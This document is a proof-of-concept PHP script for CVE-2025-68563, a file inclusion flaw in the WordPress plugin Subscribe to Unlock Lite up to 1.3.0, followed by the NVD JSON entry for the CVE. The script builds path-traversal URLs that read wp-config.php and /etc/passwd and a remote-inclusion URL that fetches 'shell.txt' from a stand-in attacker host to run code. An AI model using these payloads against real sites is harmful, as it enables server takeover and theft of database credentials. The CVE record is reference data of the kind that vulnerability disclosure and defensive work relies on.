CVE-2025-68563

<?php // CVE-2025-68563 PoC - Subscribe to Unlock Lite Local File Inclusion // Target: WordPress site with Subscribe to Unlock Lite plugin <= 1.3.0 $target = "http://target-wordpress-site.com"; $plugin_path = "/wp-content/plugins/subscribe-to-unlock-lite/"; // LFI to read wp-config.php $lfi_payload = $plugin_path . "subscribe-to-unlock-lite.php?file=../../wp-config.php"; echo "[*] Testing LFI to read wp-config.php\n"; echo "[*] URL: " . $target . $lfi_payload . "\n\n"; // LFI to read /etc/passwd $passwd_payload = $plugin_path . "subscribe-to-unlock-lite.php?file=../../../../etc/passwd"; echo "[*] Testing LFI to read /etc/passwd\n"; echo "[*] URL: " . $target . $passwd_payload . "\n\n"; // RFI to execute remote PHP code (if allow_url_include is On) $attacker_server = "http://attacker.com/"; $rfi_payload = $plugin_path . "subscribe-to-unlock-lite.php?file=" . $attacker_server . "shell.txt"; echo "[*] Testing RFI for remote code execution\n"; echo "[*] URL: " . $target . $rfi_payload . "\n"; // Note: Requires authentication with low-privilege account (subscriber role) // Attackers typically use automation tools or manual testing with Burp Suite ?>

{"cve": {"id": "CVE-2025-68563", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:23.223", "lastModified": "2026-04-27T19:16:30.747", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in WP Shuffle Subscribe to Unlock Lite subscribe-to-unlock-lite allows PHP Local File Inclusion.This issue affects Subscribe to Unlock Lite: from n/a through <= 1.3.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/subscribe-to-unlock-lite/vulnerability/wordpress-subscribe-to-unlock-lite-plugin-1-3-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}